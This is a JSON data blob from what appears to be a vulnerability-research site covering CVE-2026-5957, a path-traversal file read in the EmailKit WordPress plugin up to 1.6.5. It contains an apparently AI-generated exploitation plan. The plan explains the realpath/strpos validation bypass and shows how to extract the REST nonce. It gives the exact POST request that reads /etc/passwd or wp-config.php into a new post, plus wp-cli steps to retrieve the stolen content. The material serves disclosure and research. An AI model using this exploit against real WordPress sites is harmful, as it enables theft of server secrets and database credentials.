[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fDHjdKh1MhdCpxU8il6_8VUiiPXzA_sK86abpG8ov9_o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":33},"CVE-2026-5957","emailkit-authenticated-author-arbitrary-file-read-via-emailkit-editor-template-rest-parameter","EmailKit \u003C= 1.6.5 - Authenticated (Author+) Arbitrary File Read via 'emailkit-editor-template' REST Parameter","The EmailKit plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to and including 1.6.5. This is due to a flawed path traversal validation in the create_template() method of the CheckForm class, where realpath() is called on the allowed base directory (wp-content\u002Fuploads\u002Femailkit\u002Ftemplates\u002F) which may not exist, causing it to return false. In PHP 8.x, strpos($real_path, false) implicitly converts false to an empty string, and strpos() with an empty needle always returns 0, causing the check strpos(...) !== 0 to evaluate to false and bypassing the path validation entirely. This makes it possible for authenticated attackers, with Author-level access and above, to read arbitrary files from the server, including sensitive files such as wp-config.php, by supplying an absolute path to the emailkit-editor-template REST API parameter.","emailkit",null,"\u003C=1.6.5","1.6.6","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-05-04 14:47:21","2026-05-05 03:37:38",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fae58e5b0-b587-4503-8519-c5a50245891a?source=api-prod",1,[22,23,24,25],"EmailKit.php","includes\u002FAdmin\u002FApi\u002FCheckForm.php","includes\u002FAdmin\u002FEmailSettings\u002FMetformEmailSettings.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-5957 - EmailKit Arbitrary File Read\n\n## 1. Vulnerability Summary\nThe **EmailKit** plugin (\u003C= 1.6.5) contains a path traversal vulnerability in its REST API handler for creating templates. The vulnerability exists because the `CheckForm::create_template()` method attempts to validate a user-supplied file path against an allowed base directory using `realpath()`. \n\nIf the base directory (`wp-content\u002Fuploads\u002Femailkit\u002Ftemplates\u002F`) does not exist on the filesystem, `realpath()` returns `false`. In PHP 8.x, when `strpos()` is called with `false` as the second argument (the needle), it is implicitly converted to an empty string `\"\"`. Since `strpos($any_string, \"\")` always returns `0`, the validation check `strpos($real_path, realpath($allowed_base_path)) !== 0` evaluates to `0 !== 0`, which is `false`. This logic failure allows an attacker to bypass the directory restriction and read arbitrary files from the server into a new WordPress post.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `POST \u002Fwp-json\u002Femailkit\u002Fv1\u002Fcreate-template`\n- **Hook:** `rest_api_init` in `includes\u002FAdmin\u002FApi\u002FCheckForm.php`\n- **Parameter:** `emailkit-editor-template` (used as the file path to read)\n- **Authentication:** Required. The user must have `publish_posts` capability (typically **Author** role and above).\n- **Preconditions:** \n    1. The WordPress environment must be running **PHP 8.x**.\n    2. The directory `wp-content\u002Fuploads\u002Femailkit\u002Ftemplates\u002F` must **not** exist (default state until a template is saved).\n\n## 3. Code Flow\n1. **Request Entry:** The attacker sends a `POST` request to `emailkit\u002Fv1\u002Fcreate-template`.\n2. **Permission Check:** `CheckForm::create_template` verifies `is_user_logged_in()` and `current_user_can('publish_posts')`.\n3. **Input Retrieval:** The parameter `emailkit-editor-template` is retrieved:\n   ```php\n   $template_path = $request->get_param('emailkit-editor-template');\n   ```\n4. **Validation Bypass (Sink):**\n   ```php\n   $allowed_base_path = wp_upload_dir()['basedir'] . '\u002Femailkit\u002Ftemplates\u002F';\n   $real_path = realpath($template_path); \u002F\u002F e.g., \u002Fetc\u002Fpasswd -> \u002Fetc\u002Fpasswd\n   \u002F\u002F If the directory does not exist, realpath($allowed_base_path) is false\n   if ($real_path === false || strpos($real_path, realpath($allowed_base_path)) !== 0) {\n       \u002F\u002F Check fails to catch traversal because strpos(\"\u002Fetc\u002Fpasswd\", false) === 0\n       return new WP_REST_Response(['success' => false, ...], 400);\n   }\n   ```\n5. **File Read:**\n   ```php\n   $template = file_exists($real_path) ? file_get_contents($real_path) : '';\n   ```\n6. **Data Storage:** The file content (`$template`) is saved into a new post of type `emailkit` via `wp_insert_post()`.\n\n## 4. Nonce Acquisition Strategy\nThe endpoint requires a standard WordPress REST API nonce (`wp_rest`).\n\n1. **Role Requirement:** Login as a user with the **Author** role.\n2. **Location:** The nonce is localized in the WordPress admin dashboard.\n3. **Extraction:**\n   - Navigate to `\u002Fwp-admin\u002Fadmin.php?page=emailkit` (or any admin page).\n   - The plugin localizes nonces in the `metform` global variable via `MetformEmailSettings::enqueue_metform_scripts()`.\n   - Use `browser_eval` to extract it:\n     ```javascript\n     window.metform?.rest_nonce\n     ```\n   - Alternatively, use the standard WordPress `wp-api-js` localized data:\n     ```javascript\n     wpApiSettings.nonce\n     ```\n\n## 5. Exploitation Strategy\n### Step 1: Confirm Directory Absence\nVerify that the directory `wp-content\u002Fuploads\u002Femailkit\u002F` does not exist to ensure the `realpath()` bypass will work.\n\n### Step 2: Prepare Payload\nTarget a sensitive file like `\u002Fetc\u002Fpasswd` or `wp-config.php`.\n\n### Step 3: Trigger File Read via REST API\nSend the `POST` request using the `http_request` tool.\n\n**Request:**\n- **Method:** `POST`\n- **URL:** `\u002Fwp-json\u002Femailkit\u002Fv1\u002Fcreate-template`\n- **Headers:**\n    - `X-WP-Nonce: [EXTRACTED_NONCE]`\n    - `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n    ```\n    form_id=1&template_title=ExfiltratedData&emailkit-editor-template=\u002Fetc\u002Fpasswd\n    ```\n\n### Step 4: Retrieve Exfiltrated Content\nThe response will return a `post_id`.\n```json\n{\n    \"success\": true,\n    \"data\": {\n        \"post_id\": 123,\n        \"builder_url\": \"...\u002Fpost.php?post=123&action=emailkit-builder\"\n    }\n}\n```\nUse `wp-cli` or the REST API to read the content of the newly created post ID `123`. The file content will be stored in the post's metadata or content fields.\n\n## 6. Test Data Setup\n1. **User:** Create an Author user:\n   `wp user create attacker attacker@example.com --role=author --user_pass=password`\n2. **Plugin State:** Ensure the plugin is active and no templates have been created yet (to keep the uploads directory empty).\n3. **Environment:** Ensure PHP version is 8.0 or higher.\n\n## 7. Expected Results\n- The REST API response should return `200 OK` with a `success: true` status and a `post_id`.\n- Querying the database for the meta associated with that `post_id` (likely `emailkit_template_content` or similar, based on the truncated code) should reveal the contents of `\u002Fetc\u002Fpasswd`.\n\n## 8. Verification Steps\nAfter the HTTP request, use `wp-cli` to verify the content of the created post:\n```bash\n# Find the latest emailkit post\nPOST_ID=$(wp post list --post_type=emailkit --posts_per_page=1 --format=ids)\n\n# Check the post meta where the template content is stored\nwp post meta get $POST_ID emailkit_template_content\n```\n\n## 9. Alternative Approaches\nIf `emailkit-editor-template` is strictly validated or fails, check the `$html_path` logic:\n```php\n$html_path = str_replace(\"content.json\", \"content.html\", $real_path);\n$real_html_path = realpath($html_path);\n```\nAn attacker could provide `\u002Fetc\u002Fpasswd\u002Fcontent.json` which would be `str_replace`'d to `\u002Fetc\u002Fpasswd\u002Fcontent.html`, potentially failing. However, providing a direct path to a file that exists and satisfies the `strpos(..., false)` bypass is the primary path. \n\nIf the `create-template` endpoint is blocked, the `check-template` endpoint also exists but it does not appear to perform file operations in the provided source. Focus remains on `create_template`.","gemini-3-flash-preview","2026-05-04 16:45:13","2026-05-04 16:45:38",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","1.6.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femailkit\u002Ftags\u002F1.6.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Femailkit.1.6.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femailkit\u002Ftags\u002F1.6.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Femailkit.1.6.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femailkit\u002Ftags"]